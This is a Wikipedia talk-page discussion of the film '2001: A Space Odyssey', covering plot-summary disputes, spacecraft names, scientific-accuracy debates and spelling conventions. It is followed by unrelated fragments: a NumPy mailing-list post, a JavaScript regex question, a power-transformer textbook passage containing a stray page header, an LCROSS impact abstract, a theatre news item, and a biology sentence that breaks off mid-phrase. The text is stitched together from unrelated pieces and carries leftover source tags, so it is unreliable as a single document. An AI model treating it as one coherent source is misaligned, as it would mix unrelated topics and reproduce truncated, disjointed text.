I would consider it courteous if editors would refrain from instantaneous reversion of non-controversial factual material which needs better sourcing. Except in the case of derogatory unsourced material about living persons, I believe it is acceptable to challenge such material on the talk pages if it is dubious, and revert if no substantiation is forthcoming in a reasonable period. Material which is obviously correct, but not yet fully sourced, seems to deserve correspondingly more tolerance. Thanks Wwheaton (talk) 04:13, 5 May 2008 (UTC)
Courtesy Redux
Apparently, the reference to the PanAm spacecraft being an Orion III has been reverted more than once. Model assembly kits of this craft sold in stores as a movie tie-in all labeled it an Orion III. They can still be found on e-Bay and dozens of other sources of miniature space models on the Internet. Early drafts of the shooting script also refer to Orion III. These are online.
Similarly, there has been a deletion of reference to the first spacecraft seen being an orbital nuclear weapon. As noted, this is specified in the novel but not the book. However, early drafts of the screenplay had the Star-Child detonating these weapons at the end of the film, something Kubrick chose to eliminate as too similar to Doctor Strangelove. Furthermore, the craft as seen on film clearly has a cannon on it.
My own material concerning it being impossible for the sun to rise to the sky's zenith near the crater Clavius was deleted on the grounds that the film does not show the sun at its zenith. What is that light source just above the monolith? A flashlight??? I don't think so. The film jolly darn-tootin' well DOES show the sun at the sky's zenith above the monolith, when in fact (as I noted in my deleted material) the sun could never rise more than 30 degrees above the horizon there.
IMO, all this material deserves restoration. There is an online Science Fiction and Fantasy Wiki at http://www.infoshop.org/sf/Main_Page with a first-rate article on 2001. If the material doesn't get restored here, put it there.
WickerGuy (talk) 16:19, 20 June 2008 (UTC)
* The editorialising re. the original or implied purpose of the satellites which has just been added may be appropriate for the Writing section, or perhaps even as a footnote under the Plot section, but it doesn't belong where it is in its present form. Since some people clearly feel strongly about it I'm happy to initiate this discussion about where it might be moved or otherwise presented, but it shouldn't stay where it is. Cheers, Ian Rose (talk) 08:05, 25 June 2008 (UTC)
* Listen, nobody is arguing that the PanAm ship wasn't, technically, named an Orion III. Hell, half of us built the Goddamned Aurora model of it back in 1969! We're just saying that nothing in the FILM ITSELF says it's an Orion III. The problem is including this little infonugget in places like the plot synopsis where 1) it's cluttering minutiae, and 2) a careful viewer of the film, and ONLY the film, could not discern that infonugget. This just makes plain common sense, and is the standard that's been followed here for years. An earnest viewer of the film should not be made to feel that he missed something, when in fact he's just unfamiliar with what Aurora Plastics put out in the 60s!
* By the way, the early shooting scripts available online that you refer to are thought by many to be fakes.
* NOW, all that said, I'll be adding back in the "Space Station 5" name to the article, because I just viewed the film again on Blu-ray. There is now enough resolution to discern "Space Station 5" under the Hilton sign behind the Soviets! How friggin' cool is that?! In fact, you can now read the text on the kiosks beyond the Hilton, which seem to read "Gifts", "Drugs", and "Cameras" (not sure about Cameras). I watched the other ship segments closely (I'm talking printer's loupe on the screen at 1080p) but can find nothing saying Aries 1B or Orion III. (I do see, however, that the liqui-paks carry a Seabrook Farms logo -- today's maker of premium frozen creamed spinach!)
* With regard to the "satellites are nukes" -- dear Lord, please let's not go there yet again. This has been hashed out repeatedly and extensively in the past (see the archived discussions). Once again, the bottom line is that a careful, thoughtful viewer of the FILM ALONE really cannot be expected to make the leap. One could argue that the bone-weapon morphing into the satellite was Kubrick clearly telegraphing that fact to us, but given today's ever-dumbed-down audiences, that's really expecting too much.
* With regard to the film showing the sun at zenith over the Monolith, and pointing out that this couldn't happen given the location of Clavius: why dwell on minutiae about the maximum degrees of ascension the Sun could actually reach over Clavius, when any careful observer of the film can point out many more basic, grave problems with this scene? Here are just a few:
* 1) Moments before the Sun AND Earth appear near zenith above the Monolith, Earth appears low and gibbous over the horizon --how'd it get so high in the sky so quickly?
* 2) The orientation of the dark portion of the low-in-the-sky, gibbous Earth tells us that the Sun is also low to the horizon as well. Again, how'd the Sun move so fast?
* 3) Even as the Sun is shown directly overhead above the Monolith, the TMA-1 excavation remains in shadow -- huh?
* 4) During the ape version, where the Sun and Moon are near zenith over the Monolith, the sky clearly shows sunset reds and purples -- sunset at noon, what gives?
* 5) The ape version is shown twice in the film. Though some time appears to have elapsed between the two showings, the Moon and Sun positioning (and sunset background) is identical. How could that be?
* 6) As an aside, many have observed that the pre-Stargate alignment of moons is utterly impossible.
* All this seems to suggest one of two things -- either Kubrick was a lot sloppier than most imagine, or perhaps we're not supposed to interpret what we're seeing so literally. The aliens pulling all this off are so God-like, perhaps they can suspend the "laws" of physics themselves!
* Regards, Sailorlula (talk) 10:38, 27 June 2008 (UTC)
Scientific accuracy
Over under scientific accuracy is an old observation:
Where does the pod door go during emergency entry into the Discovery? There is an answer to this. The pod doors are built to move 'transversely' (from side to side, not in and out). Once the explosive bolts freed the door, the inference is that the door moves to the side in a recess built for that purpose. This a design avoids the danger by turning the door into a projectile.
Note: There was no debris from the door, only condensed atmosphere from the pod. Also it can be inferred is that the POD reaction control system is active to prevent it from translating or rotating due to forces and torques during ingress. —Preceding unsigned comment added by Aajacksoniv (talk • contribs) 19:29, 27 June 2008 (UTC)
* Ummm, sorry, but this is really reaching. First of all, the general method in which the aerospace industry has long employed pyrotechnic bolts is utterly different from what you're describing. I can find no instance of a "spring loaded", actuated, or otherwise auto-retractable door mechanism in real life that operates in tandem with explosive bolts as you describe.
* That said, the makers of 2001 could certainly have imagined something unique, but that's unlikely. Let's remember, we're talking about a failure-mode scenario for opening the door. What you describe, and what we see (earlier) in the movie -- the door SLOWLY sliding into and out of closed position laterally -- IS the normal mode of operation. The explosive bolts are there for when egress is needed and the normal door mode has failed, say, jammed; that is to say, the lateral door opening/closing mechanism is already toast.
* Bowman purposefully blows the bolts, even though the door hasn't failed, because he's counting on it being out of his way nearly instantaneously (so the explosive decompression may blow him into the Discovery airlock). The zippy lateral retraction of the door that you posit simply does not happen subsequent to the explosive bolts being blown. Frame-by-frame examination of the film reveals that the door is there one frame and completely gone the next. For your lateral retraction theory to hold water, that'd have to be one mighty strong spring or actuator. Oh, and now we have to start worrying about the whole pod spinning laterally in reaction to your near-instantaneous door opening!
* Sailorlula (talk) 01:13, 28 June 2008 (UTC)
First it is entirely possible that Bowman launched himself and was not 'blown' in. True there is some dramatic license in the film to get this action sequence, but there are so many things that Kubrick leaves unsaid to the audience to figure out that this seems a logical deduction. Even tho one at first thinks of conventional pyros blowing something in or out, it more logical for the reasons given above for the motion to be transverse and really not that unique an idea. The re-entry HAS to be 'zippy', want to leave exposure to a vacuum as short as possible. Why in reality an astronaut would leave his helmet and gloves behind is a dramatic stretch, but its ok. I really don't see where the 'unlikely' part comes here. For instance, there are several frames that show that Bowman cut control of his POD from HAL, N/A HAL COMLK, it is amazing that Kubrick thought to insert this. Otherwise one would have to ask the question, why did not HAL take over control of Dave's POD, as he had done with Frank? As for the pod translating or rotating I had already noted the implication that the POD's reaction control system had been set, by Dave, to cancel out such motion, one would not want that anyway.
Another piece of evidence for door motion in the pyros blowing the POD door transversely is that Dave enters the emergency airlock from the viewers right and the expanding atmosphere of the POD cockpit from (the viewer's)left, as if something had slid from right to left. The actually logistics of film making does seem to be that the door was removed making it appear to the viewer that the door disappeared. The logical implication ,however,is that POD door can not be allowed to become a deadly projectile and must move out of the way.
Regarding the holding breath -- is any one else in doubt of this? To me it looks more like, after hyperventilating, Bowman strains to expel as much air from his lungs as possible. This looks quite different (to me) from your typical taking a deep breath. What may be confusing people is that once he's done this, he then has to hold the air out, which could look a bit like holding it in. It's a while since I've seen the movie but I did read Clarke's novella a long time ago and always remember how that scene reminded me of the passage in it for being faithful. I have heard that Clarke disagreed with the scene however, but his opinion may not be any more accurate than mine for all I know, so, comments anyone? Adytum72a (talk) 05:48, 6 July 2008 (UTC)
Regarding the above observation (the question to exposure to a vacuum in 2001 occurs often) an extensive answer is given on NASA's Goddard's page: It is true that Clarke in a documentary thinks that we are given the impression that Bowman is holding his breath, which he says was the wrong thing to do, however we don't really see what the last thing Dave does, he could had expelled all his air as you note. I have not timed the sequence but it would seem that Dave is exposed to a vacuum for less than 10 seconds (maybe less than that)and from what scientific knowledge we have now that was survivable, in fact he probably would have lasted even longer than that. One notes that Clarke, in the novel, does not have Dave execute this emergency entry that sequence is quite different. —Preceding unsigned comment added by Aajacksoniv (talk • contribs) 15:56, 21 July 2008 (UTC)
Left out of this section is what might be the only design flaw in the 2001 technology. That is the external hose fitting on Dave and Frank's space suits (they are not exactly so exposed on the Lunar suit helmets). It is seen most predominately in the scene after Frank get hits by his POD, the hose from the suit to the helmet is knocked loose. In that era the NASA Space suit did have external fittings such as that but were secured very tightly near the chest area. It would have taken a lot more than ramming by a POD to have knocked one of those lose. This is a piece of dramatic licence Kubrick could have dispensed with... just ramming Frank would have been enough.
THE LUNAR SURFACE - Wasn't this also an inaccuracy? The version created for the lunar landscape is not the same as we soon discovered during the Lunar landing missions. —Preceding unsigned comment added by <IP_ADDRESS> (talk) 17:52, 6 August 2008 (UTC)
If you mean the Lunar Surface with respect to the Lunar Bus, some of that looks a little like old Bonestell paintings, ... I am not sure that is highly inaccurate. If you mean the view from the Ares landing at Clavius Base and the Monolith research station, from what can be seen of the surrounding landscape it might not be 'soft' enough, but from what was known at the time looks accurate enough. —Preceding unsigned comment added by Aajacksoniv (talk • contribs) 21:29, 6 August 2008 (UTC)
Clarke on HAL's Creation
"Probably no one would ever know this: it did not matter. In the 1980's, Minsky and Good had shown how neural networks could be generated automatically -- self replicated-- in accordance with an arbitrary learning program. Artificial brains could be grown* by a process strikingly analogous to the development of the human brain. In any given case, the precise details would never be known, and even if they were, they would be millions of times too complex for human understanding." --A. C. Clarke (2001: A Space Odyssey, ROC edition, trade paper back, 2005, pages 92 - 93)ISBN: 0-451-19849-2 / 978-0-451-19849-5 (USA edition).
by some kind of solid state simulation of biological evolution. Unfortunately in the 1960's Kubrick and Clarke only had the language 'computer' and 'program' while HAL is closer to what is now called a Strong Artificial Intelligence Strong AI. —Preceding unsigned comment added by Aajacksoniv (talk • contribs) 14:39, 27 July 2008 (UTC)
* This is a remarkable description of thoughts about AI, and is probably due to Marvin Minsky uncredited but a consultant on the film, the implication being that HAL was created
Clavius vs. Tycho
Under the heading "Scientific Accuracy" much has been made of the fact that the sun does not rise more than 30 degrees above the horizon at Clavius and therefore could not align itself vertically with the monolith discovered on the moon. But the monolith is not found in Clavius; it is found in Tycho, some 15 degrees to the north. This location is confirmed not only by the TMA-1 (Tycho Magnetic Anomoly 1) photos examined by Floyd on the moonbus, but also by Floyd's prerecorded briefing heard by Dave on Discovery I. Whether such an alignment would be possible at Tycho, even at the north rim, I leave to others to determine; but inasmuch as it is remarked under "Filming" that "the Tycho crater excavation scene" was shot first, some adjustment to the facts and/or figures seems to be in order.--Mailedfist (talk) 17:28, 9 August 2008 (UTC)
Such an alignment of the Earth and sun is only possible in Copernicus Crater. The alignments of the sun and planets was creative license on Kubrick's part. This was the case with the Jupiter sequences. He knew what he was doing. But I do feel that with the shot, he should have used Copernicus Crater instead. CMA-1? --Jason Palpatine (talk) 00:15, 25 October 2008 (UTC)
Plot changes made on September 1st were inaccurate
I undid the changes to the plot section on September 1st because they were actually erroneous. First of all it is ambiguous whether or not the music that accompanies appearances of the slab is actually heard by the characters, and even if it is, it is certainly describable as "wordless singing" and NOT as "humming" (!!!). Secondly, the tribe of apes that finds the tool did not have the pool and lose it to another. They tried to gain control of a pool they never had and failed!!!! Finally, if we're going to note that the transition from the Dawn of Man sequence to the year 2000 is an interval of millions of years, that would be in the transition from bone to satellite, and NOT in the transition from satellite to PanAm jet!!! The transition from herbivore to carnivore apes is good to note and I have restored it, and I have relocated the million-years jump to it's proper place.
About a month ago, I shortened the plot from 1400 words to just under 1000, and I did delete entire scenes and the subplot about the epidemic cover-story. It is still too long by Wikipedia standards (300 to 500 words) though they may be too stringent. (My call would be an average of 700 words is about right.) At any rate, we should be conservative about extraneous details.
--WickerGuy (talk) 02:42, 4 September 2008 (UTC)
* Wickerguy, with regard to your points above, your enthusiasm is commendable but I humbly suggest that you're getting ahead of yourself. Three longtime editors of this page have big problems with your entire 8/18/08 rewrite of the plot and have voted for a wholesale revert to the earlier version -- see "Time to Revert to the Earlier Plot Text?" at the top of this Talk/Discussion page. You might want to respond to the problems pointed out there. Regards, Sailorlula (talk) 09:41, 4 September 2008 (UTC)
Star Gate vs Stargate, Starchild vs Star child
I have noticed several different spellings throughout this article: Star Gate, StarGate, Star Child, Starchild, and Star-child. For consistency I have changed them all to Star Gate and Star Child. If another spelling is preferred for some reason, feel free to change it, as long as they are all the same. LK (t|c) 02:09, 20 September 2008 (UTC)
This is one of the few times the editors have seemed to allow terms from Arthur Clarke's novel which are normally proscribed from this article as they are normally not necessary. (For example, here we do NOT refer to the ape with the bone as "Moonwatcher" nor to specific names for the space-plane, etc.) However, these exclusions are names of specific entities (one specific ape among many) rather than of general types (Star Gates in general), and we simply don't have a better alternative for "Star-Child" and "Star Gate". ("Floating space-fetus" just doesn't sound right, nor does "light tunnel" etc.).
For purposes of spelling these distinctive Clarke-universe entities, I suggest that Clarke's novel be used as reference. In Clarke's novel, it is "Star Gate" (two words), but "Star-Child" (hyphenated). Thus I shall just after posting this, be making the appropriate change.
--WickerGuy (talk) 08:15, 20 September 2008 (UTC)
The plot misses explanations
In my opinion, the plot could not only tell what happens in the film, but also have more explanations about it. For example, it could explain the meaning of the monolith and why it sent the signal to Jupiter. What about the ear-piercing high-pitched radio signal on the moon? Or the tunnel of coloured light and what happens to Dave after that? This isn't an easy to understand film. —Preceding unsigned comment added by Schuenemann (talk • contribs) 03:22, 21 September 2008 (UTC)
The meaning of the monolith is ambiguous and the film is intended to be enigmatic, and as such to explain is to potentially veer into introducing personal and subjective POV issues, although spelling out in the synopsis that a lot of what happens is in fact enigmatic might be an idea. Also could provide links to article on interpretations.
--WickerGuy (talk) 06:56, 21 September 2008 (UTC)
I'm in favor of the plot summary pointing out that the monolith is man made, except that men weren't around so it was intelligent being made. The audience can rightly conclude from this visual that there are aliens visiting earth. Helping the reader notice this is, IMHO, appropriate. Tomday (talk) 08:43, 2 February 2009 (UTC)
You surely don't mean "man made". It is extraterrestial in origin, and possibly from another universe. --WickerGuy (talk) 14:58, 2 February 2009 (UTC)
So let's include in the plot that the monolith was not made by the pre-humans, indicating there are other intelligent beings present. Long time Science Fiction readers will, of course, get the implication immediately. For others, well, why not help them understand?
I think the term "alien" encompasses both visitors from another place in our universe as well as visitors from another universe, and would be appropriate. Short and sweet. <IP_ADDRESS> (talk) 21:15, 2 February 2009 (UTC)
* I hope that those who are interested in this question of explanation will at least look over our existing Interpretations of 2001: A Space Odyssey. That article is far from perfect, but seemed the best we could do at the time. The discussion pages may also give insight re some of the issues that were raised. There was an earlier version (pre-2008) that was really embarrassingly awful (I thought), but as a wiki newbie I was startled to discover that even to suggest that the novel might offer insights into the film was considered WP:OR and instantly reverted. It was (and is) my position that the back story for the film could not possibly be laid out in detail in a film of reasonable length, so that in the end Kubrick removed all explanation from the film (which was originally far too long) and left really only the visual and aural impact, which is terrific and which no book can convey. Yet Kubrick and Clarke worked together very closely for more than 18 months at the beginning of the project, during which both novel and screenplay came to nearly final form. The movie and the novel agree very closely in all but insignificant details (IMHO), but the novel provides the modern scientific context without which the film alone is really unintelligible to a naive viewer (ie, one not steeped in space technology, modern astronomy, and astrobiology). Clarke was serious about the plot, which he developed in novels and short stories (as well as in serious technical and semi-technical monographs), for two decades before the film appeared. I think Kubrick was serious too (not that Clarke and Kubrick agreed about everything), though it made artistic and commercial sense to leave the interpretation issues out of the film, to the range of the viewers' imaginations. Thus the novel and the film, I maintain, are complementary parts of a single work of art and literature, which can only be truly understood when studied together.
* So—if you want to explain the film, at least study the interpretation article, the fights that flared over it, and the issues that arose, and understand why we found it necessary to break the subject out into a separate (improved, I hope) article, before you recreate that whole drama here. If you have questions, do read the novel carefully, and see if many of them are not answered there in a clear and reasonable way. Then, if you can improve the interpretation article, please do! I would love to myself but it would take me weeks or months that I cannot spare. (Some Reliable Source really does need to write a book.) Remember, of course, that anything you say must be verifiable in reliable sources, independent of Wikipedia, or it will be ruthlessly expunged eventually, as soon as someone seriously disagrees with you. And, if you are at all moved by Clarke & Kubrick's feat, as I have been, do read Clarke's 1953 novel Childhood's End, which I contend holds the key to the whole subject. I think the basic story of "2001" essentially echoes the earlier novel, except for the addition of HAL and his implications for the future direction Life may take. And the same basic framework appears yet again in Carl Sagan's novel Contact (from a slightly more up-to-date vantage point), which received an outstanding transformation to film in the 1995 movie of the same name. (And if you do none of the above, just enjoy the film!) Wwheaton (talk) 01:38, 5 February 2009 (UTC)
* Thanks for explaining. So that's why the "plot" section is so bad. Layers of scar tissue. Oh well.
* Tomday (talk) 18:23, 5 February 2009 (UTC)
While it is true that one of the thing that makes the film so sublime is precisely its enigmatic character it is the sense of mystery (and numinous) accompanied by dazzling space images in tandem that makes it work. It is near-impossible to reproduce or convey this effect in an encyclopedic plot summary (at least not without introducing POV material.) Perhaps a much briefer (extremely brief) discussion of the relationship (not differences) between film and book is in order.--WickerGuy (talk) 22:27, 5 February 2009 (UTC)
Who had the watering hole when?
In my original revision of the plot of 2001 circa August, I state (erroneously I now think) that the group of apes who had their minds expanded and transformed by the monolith had attempted to take away the watering hole and failed. On September 1st, someone tried to the correct that, and introduced many many errors into the plot summary. I reverted their changes. Just yesterday, another user made the same correction about the watering-hole. I took a second look at the DVD, and the correction is correct, and my original version wrong. (The transformed apes are in fact initially driven away from their water-hole.)
However, the confusion lies in the fact that the monolith-transformed apes return to the pool from the opposite direction than that to which they retreated. The pool is in between two high rock walls which form a kind of corridor. When the apes are driven away from the pool pre-monolith, their attackers came from what I will arbitrarily designate East and the losers (soon to learn about tools from the monolith) retreat to the 'West'. Post-monolith, when they return to retake the pool, they come back from the opposite side, the 'East'. It is this which was the misleading visual cue which led me to think the transformed apes had attempted to gain the pool and failed, rather than having been driven away from it, which is actually correct. It is of course natural for this to happen since the 'East' side of the corridor provides concealment for approaching attackers which the 'West' side does not do.
Thanks to Tom Edwards for the correction, and apologies to whom I reverted four weeks ago or so when they attempted same (although their other stuff was riddled with errors.)
P.S. Nonetheless, I am reverting the shape of the monolith from "cuboid" back to "rectangular", the former being too technical, and the latter being used by Clarke's novel.
--WickerGuy (talk) 02:41, 29 September 2008 (UTC)
Could use some article help finalizing remaining device invention dates
As noted in my explanation for my edit-change, I discovered that voice-print identification already existed in 1968 when 2001 was released. Thus the "imagining the future" developed a fourth subcategory of "Futuristic devices already in use when film released" which now has one item (voice-print identification). I then went and checked as many dates on all the other futuristic stuff that I could.
Two items needed rewording. Old version of article listed as accurate film prediction the existence of "longer phone numbers for national and international dialing." This doesn't quite fly since national dialing became a reality as early as 1951, but international direct dialing was not available until well after release of 2001. Thus I reworded this to read "Telephone numbers with more digits than in the 1960s. (Long distance in-country direct dialing with 10 digits first emerged in 1951, but direct-dialing between countries was not possible till 1970"
An exactly parallel problem emerges with the old version listing "A computer that can defeat a human being at chess". Moderately proficient computer chess that could defeat slightly experienced players became a reality a few years before the film 2001, but the ability to defeat major champions was not a reality until decades later. Hence, reworded to read "A computer that can defeat a human being at chess. (First credibly challenging computer chess in mid-1960s prior to film's release. First defeat of a national champion in 1989"
* What's still needed
Date for
"Electronic darkening of a normally transparent surface (Bowman uses a helmet control to darken his visor during an EVA"
and date for
"The use of credit cards with data stripes "
If anyone can pin down the dates these first appeared, it would complete the section for now. Help appreciated.
--WickerGuy (talk) 21:28, 8 October 2008 (UTC)
* Hi mate. Appreciate that you're taking a thoughtful approach to this, digging out the facts and attempting to find the citations, but I have to say that I'm not and never have been a fan of the Scientific Accuracy or Imagining the Future sections (see earlier Talk where their very existance in the article has been debated). While there may be a place for these bits in WP, in this article they have always appeared to me as list cruft and only slightly above Trivia sections (even cited trivia is frowned upon), as well as being too open to original research. If they must exist, I would advocate breaking them out into a separate article or articles, just as Interpretation has been. Cheers, Ian Rose (talk) 21:59, 8 October 2008 (UTC)
I think the scientific accuracy section is just a tad easier to convert into a non-list paragraph format. On the other hand, it is much more vulnerable to OR problems and it seems far more paramount that appropriate citations be given for stuff in it. Likewise, the stuff in Imagining the Future is wayyy easier to fact-check so there's less danger of OR issues arising. But the only way to convert it into non-list format is to discuss it in the context of what the film-makers were thinking or might have been. I will put on my thinking cap. Consider this an intermediate reflection.
--WickerGuy (talk) 00:45, 9 October 2008 (UTC)
I have converted these sections from list format to prose format, but omitted all references to the above-mentioned "needed" items, as I can find no info on the origin of credit cards with data stripes or electronic darkening of transparent surface. --WickerGuy (talk) 14:50, 10 October 2008 (UTC)
* Epilogue
"Spake Zarathustra" vs. "Spoke"
Yesterday I reverted a change that corrected "Spake Zarathustra" to "Spoke", but then realized it's not so simple. I have added the following as a footnote within the main article.
Oddly listed in the closing credits [of 2001] as spoke Zarathustra but on the official soundtrack albums as spake Zarathustra. The book by Nietzsche has been translated both ways and the title of Strauss' music is usually rendered in the original German whenever not discussed in the context of the film 2001 although Britannica Online's entry lists the piece as spoke Zarathustra. This article currently follows the convention of the 2001 soundtrack album instead of that of the film's closing credits and uses 'spake'.
--WickerGuy (talk) 15:24, 11 October 2008 (UTC)
X-34
I reverted a suggestion that the PanAm shuttle inspired the X-34 technology development vehicle design. Besides lacking external support, whatever the vague similarities, science fiction imaginings (even Clarke's) do not inspire the actual configurations of flight hardware. This suggestion would get a horselaugh from anyone in the business. Wwheaton (talk) 05:40, 12 October 2008 (UTC)
Fair 'nuf. I was trying to preserve all the material in the old list-format "imagining the future" in the new prose-format and in converting list-format to prose may have over-reached. Perhaps the X-34 reference should just be dropped then.
--WickerGuy (talk) 07:06, 12 October 2008 (UTC)
Recent re-edits to Plot
Wickerguy, the aging part at the end is certainly open to discussion so I have no particular issue with rewording (though I don't think "with the film's POV each time switching to the later Dave" is really necessary). However you'll have to explain the benefit of again padding the plot summary with details of "idle chat" and editorialising like "in an extended sequence". It seems to me that after spending a lot of time working on this it might be time to allow for some other input... Cheers, Ian Rose (talk) 07:19, 19 October 2008 (UTC)
Ian, I think have a strong case on your first point and a weak case on your second.
While I'm a bit loose on POV (meaning WP policy against editor POV- I don't mean film camera POV) in analytic discussions of film (use of music, differences between book) and so forth, I tend to want much higher standards regarding not introducing editorial POV into plot synopses. And that's fairly hard with 2001. IMO in removing the future selves biz and just saying Dave ages rapidly, I think you introduce POV interpretation into the plot synopsis and lose SK's sense of ambiguity. The switching of film POV to future selves is how SK gets us from young Dave to old Dave in a short period of film-time and keeps the film riddling.
Your other point is much better taken. I'm trying (a tad ineptly I suspect) to convey a sense of the banality of most of the dialogue and its contrast with the breathtaking character with the scenery. I may be doing it in the wrong place. Perhaps a more focused brief analytic discussion of those scenes in "Section 11.3 Dialogue" is the way to go. The point is already made in 11.3 (the second of three paragraphs in the current version) but it could be more focused Ii.e. with examples) and less generalized. However, I was trying to hint at it in the plot synopsis without myself introducing editorial POV. (For example, if I said "banal" instead of "idle" in the plot synopsis, that would be out of line, I think.) In your favor, it can be argued that even slightly straying into character arcs, story mood, etc. don't belong in plot synopses, especially as I'm doing it only by a couple of stray hints. So maybe I'll tighten up section 11.3. --WickerGuy (talk) 15:41, 19 October 2008 (UTC)
OK, I've made the points I want (a bit more explicitly) in "Section 11.3 Dialogue". Further removals of my small hints in the plot synopsis section will not be controverted or reverted (but please keep Dave in the bedroom more or less as is.)
--WickerGuy (talk) 15:59, 19 October 2008 (UTC)
Replacing "Differences with the subsequent novelization"
I deleted this very brief (two sentence) section titled "Differences with the subsequent novelization" because it had on less than three serious errors:
* It credited the novel solely to Clarke and the screenplay solely to Kubrick, which contradicts statements in the "Writing" section.
* It listed only one major difference between the film and the novel, while the article on the novel goes into considerably more detail.
* It implied that the novelization was written after the film, while according to the "Writing" section (and elsewhere) they were written simultaneously.
In its place I've added links to the article about the novel in the "Writing" and "See Also" sections, and a "See Also" in the "Plot" section.
I do think we might add a brief Level 2 section linking to the article on the novel, but I think it should be down with other adaptations rather than so prominently near the top, and that it should have a more general title rather than just being about the differences. Suggestions?
The deleted text read: "Clarke's novelization was based on an earlier draft of Kubrick's screenplay. The mechanics of the showdown with HAL are the major difference as well as the replacement of Saturn by Jupiter. For more information see 2001:_A_Space_Odyssey_(novel)"
GCL (talk) 00:00, 25 October 2008 (UTC)
The section (which I wrote) would have been much better if it had read "major difference among others" instead of "major difference", and absolutely positively should have read "an earlier draft of his screenplay with Kubrick" instead of "an earlier draft of Kubrick's screenplay" and should have added material saying that Clarke wrote it while the final draft of the screenplay was being completed.
As such, a better version would have read: "Clarke's novelization was based on an earlier draft of screenplay with Kubrick, written while work was completed on the final draft. The mechanics of the showdown with HAL is the most substantial difference among others including the replacement of Saturn by Jupiter. For more information see 2001:_A_Space_Odyssey_(novel)".
However, as long as the link is present in the article (it's very well placed now at the top of the plot section), I see no urgent need to restore this section.
--WickerGuy (talk) 00:17, 25 October 2008 (UTC)
Awards section non-consistent format
The Academy Awards are organized in a table. The other awards are not. IMHO it doesn't look good, and the table can be removed. What do you think? Thanks Kvsh5 (talk) 20:11, 15 November 2008 (UTC)
The Number 3
The number 3 makes a very large number of appearances in the film. This would seem to be worthy of mentioning in the article. --Deuxsonic (talk) 07:05, 4 December 2008 (UTC)
Probalby only if others besides us have noted it, and thought of a reason for it.--WickerGuy (talk) 17:15, 17 December 2008 (UTC) | WIKI |
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[Numpy-discussion] max argmax combo
Bill Baxter wbaxter at gmail.com
Mon Sep 18 21:21:19 CDT 2006
I find myself often wanting both the max and the argmax of an array.
(And same for the other arg* functions)
Of course I can do argmax first then use fancy indexing to get the max as well.
But the result of argmax isn't really in a format that's readily
usable as an index.
You have to do something like
a = rand(10,5)
imax = a.argmax(axis=0)
vmax = a[(imax, range(5))]
Which isn't terrible, just always takes me a moment to remember the
proper indexing expression.
Would a way to get the argmax and the max at the same time be of
interest to anyone else? Maybe an extra 'ret' arg on argmax?
a = rand(10,5)
imax,vmax = a.argmax(axis=0,retmax=True)
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Javascript Question
Why replace() is not working for '$' symbol?
I want to replace all the '$' in a string, I am using simple
replace()
function. It is working for other substring but not for '$' symbol. Any reason why?
var mystring = "this,is,a,test"
console.log(mystring.replace(/,/g , ":"));
var mystring2 = "this$is$a$test"
console.log(mystring2.replace(/$/g , ":"));
Answer
$ has special meaning in a regular expression, it matches the end of the string. You need to escape it to use it literally.
var mystring = "this,is,a,test"
console.log(mystring.replace(/,/g , ":"));
var mystring2 = "this$is$a$test"
console.log(mystring2.replace(/\$/g , ":"));
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• The voltage drop in a distribution system is proportional to I×Z and it is necessary to keep the value of I as low as possible to limit the voltage drops (since the value of Z cannot be reduced very much).
All the above factors necessitate that the transmission current is reduced as much as possible, which is achievable only by increasing the transmission voltage.
A transformer is the answer to the above issues and today’s AC distribution cannot be what it is without the use of transformers. A transformer is an essential device in any Electrical AC power distribution system, which is used to convert (transform) AC voltage magnitudes of any value obtained from 4 Practical Power Transformers: Operation, Maintenance & Testing a power source to any desired value. The development of power transformers dates back to the 19th Century.
The main feature of a transformer is its constant VA rating whether referred to its primary or secondary side. With VA being constant (V refers to the voltage magnitude and A refers to the current magnitude in a transformer winding), it is just possible to get a higher V with lower A OR a lower V with a higher A, by choosing suitable turns ratio for the transformer windings. It is to be noted that the transformers can be used only for changing the magnitudes of AC voltages. They cannot be used for varying DC voltages, without converting them to AC voltages. | ESSENTIALAI-STEM |
Scouring the surface: Ejecta dynamics and the LCROSS impact event
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The Lunar CRater Observation and Sensing Satellite mission (LCROSS) impacted the moon in a permanently shadowed region of Cabeus crater on October 9th 2009, excavating material rich in water ice and volatiles. The thermal and spatial evolution of LCROSS ejecta is essential to interpretation of regolith properties and sources of released volatiles. The unique conditions of the impact, however, made analysis of the data based on canonical ejecta models impossible. Here we present the results of a series of impact experiments performed at the NASA Ames Vertical Gun Range designed to explore the LCROSS event using both high-speed cameras and LCROSS flight backup instruments. The LCROSS impact created a two-component ejecta plume: the usual inverted lampshade " low-angle" curtain, and a high speed, high-angle component. These separate components excavated to different depths in the regolith. Extrapolations from experiments match the visible data and the light curves in the spectrometers. The hollow geometry of the Centaur led to the formation of the high-angle plume, as was evident in the LCROSS visible and infrared measurements of the ejecta. Subsequent ballistic return of the sunlight-warmed ejecta curtain could scour the surface out to many crater radii, possibly liberating loosely bonded surface volatiles (e.g., H 2). Thermal imaging reveals a complex, heterogeneous distribution of heated material after crater formation that is present but unresolved in LCROSS data. This material could potentially serve as an additional source of energy for volatile release. © 2012 Elsevier Inc.
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WHEN is a play actually a film? It's a question one might ponder after seeing ''Super Vision,'' the audacious multimedia production by the Builders Association, an experimental theater company based in New York. In one scene, a video-projected child talks to a live actor inside a virtual living room. The stage is lighted to look like a movie screen. Even the dialogue has been written by a screenwriter. Later, the lights go out and a flood of three-dimensional animated cubes swoops around the proscenium stage, organizing into a 40-foot-high map of the world. Even if this computer-created spectacle looks like something dreamed up by Stanley Kubrick, it is still theater, said Marianne Weems, the director and a founder of the Builders Association, which has developed an international reputation for integrating technical wizardry with live performance. | NEWS-MULTISOURCE |
Secreted frizzled related protein-1 (sFRP1), an antagonist of Wnt signaling, regulates
